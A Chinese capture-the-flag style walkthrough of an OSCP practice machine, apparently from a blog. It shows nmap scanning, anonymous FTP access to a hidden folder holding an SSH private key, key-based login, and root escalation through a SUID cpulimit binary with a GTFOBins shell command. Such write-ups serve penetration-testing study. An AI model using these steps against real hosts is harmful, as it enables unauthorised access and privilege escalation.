OSCP系列靶场-Esay-1

2023-11-29 20:20
文章标签 系列 靶场 oscp esay

本文主要是介绍OSCP系列靶场-Esay-1,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

总结

getwebshell : ftp可匿名登录 → 发现隐藏文件夹 → 发现ssh密钥 → 猜解ssh用户名 → ssh密钥登录

提 权 思 路 : 发现suid权限文件 → cpulimit提权

准备工作

  • 启动VPN
    获取攻击机IP → 192.168.45.191

图片

  • 启动靶机
    获取目标机器IP → 192.168.179.130

图片

信息收集-端口扫描

目标开放端口收集

  • Nmap开放端口扫描2次(多次扫描减少误扫)

sudo nmap --min-rate 10000 -p- 192.168.179.130PORT      STATE SERVICE                                      
21/tcp    open  ftp                                          
61000/tcp open  unknown

图片


开放的端口-→21,61000

目标端口对应服务探测

# tcp探测
sudo nmap -sT -sV -O -sC -p21,61000 192.168.179.130PORT      STATE SERVICE VERSION                              
21/tcp    open  ftp     vsftpd 3.0.3    
61000/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)

探测了一下只有ftp以及ssh两个服务,估计要通过信息进行爆破

图片

信息收集-端口测试

21-FTP端口的信息收集

21-FTP版本版本信息

通过Nmap探测获得FTP的版本信息,可以大致推测FTP的配置文件位置

# 探测版本为vsftpd 3.0.3,配置文件位置大致如下
/etc/vsftpd.conf
21-FTP端口匿名登录测试(成功)

尝试匿名账号anonymous以及无密码进行登录测试

# 利用ftp协议+ip进行连接测试
ftp 192.168.179.130
Name: anonymous

图片

21-FTP端口-文件GET收集

登录FTP之后利用ls查看存在哪些目录,翻阅的同时查看一下文件权限
利用GET下载文件

# binary 以二进制模式传输文件,保证文件完整
ftp → binary
# 查看目录结构
ftp → ls -al
# cd 查看存储的文件
ftp → cd .hannah
ftp → ls -al
# get 下载文件
ftp → get id_rsa

图片

21-FTP端口-PUT上传测试(失败)

测试是否可以利用PUT上传文件

# 建立一个文件尝试上传
touch text.txt
# put 上传文件
ftp → put text.txt

图片

漏洞利用-getwebshell

得到了一个id_rsa不知道是哪个用户的

base64解密获取用户名尝试

去掉id_rsa文件中的头与尾尝试base64解密

图片


利用base64进行解密尝试

echo 'b3Blbn.....wBAgMEBQ==
' | base64 -d

发现没显示全,决定借助网站解密

图片


利用在线网站得到的是root @#CTL{n}#CTL{n}

图片

root用户ssh密钥登录尝试(失败)

获取密钥之后指定密钥进行登录

sudo ssh -i id_rsa root @192.168.179.130 -p61000

图片

思考

尝试文件名用户

我们现在还有一个信息是之前ftp中的.hannah的文件名,尝试利用文件名当用户名进行登录

# .hannah失败
sudo ssh -i id_rsa .hannah @192.168.179.130 -p61000

图片

# hannah显示id_rsa开的太大
sudo ssh -i id_rsa .hannah @192.168.179.130 -p61000

图片


修改id_rsa权限后登录成功

chmod 600 id_rsa
sudo ssh -i id_rsa .hannah @192.168.179.130 -p61000

图片

内网遨游-getshell

FLAG1获取

hannah @ShellDredd:~$ find / -name local.txt 2→/dev/null
/home/hannah/local.txt
hannah @ShellDredd:~$ cat /home/hannah/local.txt
7374ce9b8ccf821ef5d620418751005c

图片

信息收集-内网基础信息收集

提权的本质在于枚举,在获取shell之后我们要进行内网信息的收集,都是为了提权做准备

检测Linux操作系统的发行版本

较老的Ubuntu以及Linux系统可以overlayfs提权

# 确定发行版本
hannah @ShellDredd:~$ lsb_release -a
No LSB modules are available.
Distributor ID: Debian
Description:    Debian GNU/Linux 10 (buster)
Release:        10
Codename:       buster

发行版本为Debian,不太能overlayfs提权

检测Linux操作系统的内核版本

较低的内核版本可以进行脏牛提权

hannah @ShellDredd:~$ uname -a
Linux ShellDredd 4.19.0-10-amd64 #1 SMP Debian 4.19.132-1 (2020-07-24) x86_64 GNU/Linux

内核版本为4.19.0

检测当前用户的权限
hannah @ShellDredd:~$ id
uid=1000(hannah) gid=1000(hannah) groups=1000(hannah),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),111(bluetooth)

图片

列举出所有的sudo文件

查找具有sudo权限,且不需要密码的可提权文件
如果发现sudo -l有东西的话 访问 https://gtfobins.github.io 寻找

# 利用sudo -l寻找
hannah @ShellDredd:~$ sudo -l
-bash: sudo: command not found

发现不存在sudo

列举出所有suid文件

如果发现u=s有东西的话 访问 https://gtfobins.github.io 寻找

# -perm 文件权限
hannah @ShellDredd:~$ find / -perm -u=s -type f 2→/dev/null
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/umount
/usr/bin/mawk
/usr/bin/chfn
/usr/bin/su
/usr/bin/chsh
/usr/bin/fusermount
/usr/bin/cpulimit
/usr/bin/mount
/usr/bin/passwd

图片

权限提升

Linux提权-suid之cpulimit提权

搜索suid文件权限

图片


发现一个不太常见的cpulimit,前去搜索https://gtfobins.github.io

图片


得到提权的命令

sudo install -m =xs $(which cpulimit) .
./cpulimit -l 100 -f -- /bin/sh -p

图片

# 修改一下使用命令进行提权,提权成功
hannah @ShellDredd:~$ cpulimit -l 100 -f -- /bin/sh -p
Process 1145 detected
# whoami
root

图片

FLAG2获取

cat /root/proof.txt

完结撒花~

图片

总结

ftp的时候也要有养成查看是否存在隐藏文件的习惯

每个文件名可能都有寓意,也要进行信息收集与记录

图片

没看够~?欢迎关注!

这篇关于OSCP系列靶场-Esay-1的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/434183

相关文章

Spring Security 从入门到进阶系列教程

Spring Security 入门系列 《保护 Web 应用的安全》 《Spring-Security-入门(一):登录与退出》 《Spring-Security-入门(二):基于数据库验证》 《Spring-Security-入门(三):密码加密》 《Spring-Security-入门(四):自定义-Filter》 《Spring-Security-入门(五):在 Sprin

科研绘图系列:R语言扩展物种堆积图(Extended Stacked Barplot)

介绍 R语言的扩展物种堆积图是一种数据可视化工具,它不仅展示了物种的堆积结果,还整合了不同样本分组之间的差异性分析结果。这种图形表示方法能够直观地比较不同物种在各个分组中的显著性差异,为研究者提供了一种有效的数据解读方式。 加载R包 knitr::opts_chunk$set(warning = F, message = F)library(tidyverse)library(phyl

【生成模型系列(初级)】嵌入(Embedding)方程——自然语言处理的数学灵魂【通俗理解】

【通俗理解】嵌入(Embedding)方程——自然语言处理的数学灵魂 关键词提炼 #嵌入方程 #自然语言处理 #词向量 #机器学习 #神经网络 #向量空间模型 #Siri #Google翻译 #AlexNet 第一节:嵌入方程的类比与核心概念【尽可能通俗】 嵌入方程可以被看作是自然语言处理中的“翻译机”,它将文本中的单词或短语转换成计算机能够理解的数学形式,即向量。 正如翻译机将一种语言

BUUCTF靶场[web][极客大挑战 2019]Http、[HCTF 2018]admin

目录   [web][极客大挑战 2019]Http 考点:Referer协议、UA协议、X-Forwarded-For协议 [web][HCTF 2018]admin 考点:弱密码字典爆破 四种方法:   [web][极客大挑战 2019]Http 考点:Referer协议、UA协议、X-Forwarded-For协议 访问环境 老规矩,我们先查看源代码

flume系列之:查看flume系统日志、查看统计flume日志类型、查看flume日志

遍历指定目录下多个文件查找指定内容 服务器系统日志会记录flume相关日志 cat /var/log/messages |grep -i oom 查找系统日志中关于flume的指定日志 import osdef search_string_in_files(directory, search_string):count = 0

GPT系列之:GPT-1,GPT-2,GPT-3详细解读

一、GPT1 论文:Improving Language Understanding by Generative Pre-Training 链接:https://cdn.openai.com/research-covers/languageunsupervised/language_understanding_paper.pdf 启发点:生成loss和微调loss同时作用,让下游任务来适应预训

Java基础回顾系列-第七天-高级编程之IO

Java基础回顾系列-第七天-高级编程之IO 文件操作字节流与字符流OutputStream字节输出流FileOutputStream InputStream字节输入流FileInputStream Writer字符输出流FileWriter Reader字符输入流字节流与字符流的区别转换流InputStreamReaderOutputStreamWriter 文件复制 字符编码内存操作流(

Java基础回顾系列-第五天-高级编程之API类库

Java基础回顾系列-第五天-高级编程之API类库 Java基础类库StringBufferStringBuilderStringCharSequence接口AutoCloseable接口RuntimeSystemCleaner对象克隆 数字操作类Math数学计算类Random随机数生成类BigInteger/BigDecimal大数字操作类 日期操作类DateSimpleDateForma

Java基础回顾系列-第三天-Lambda表达式

Java基础回顾系列-第三天-Lambda表达式 Lambda表达式方法引用引用静态方法引用实例化对象的方法引用特定类型的方法引用构造方法 内建函数式接口Function基础接口DoubleToIntFunction 类型转换接口Consumer消费型函数式接口Supplier供给型函数式接口Predicate断言型函数式接口 Stream API 该篇博文需重点了解:内建函数式

Java基础回顾系列-第二天-面向对象编程

面向对象编程 Java类核心开发结构面向对象封装继承多态 抽象类abstract接口interface抽象类与接口的区别深入分析类与对象内存分析 继承extends重写(Override)与重载(Overload)重写(Override)重载(Overload)重写与重载之间的区别总结 this关键字static关键字static变量static方法static代码块 代码块String类特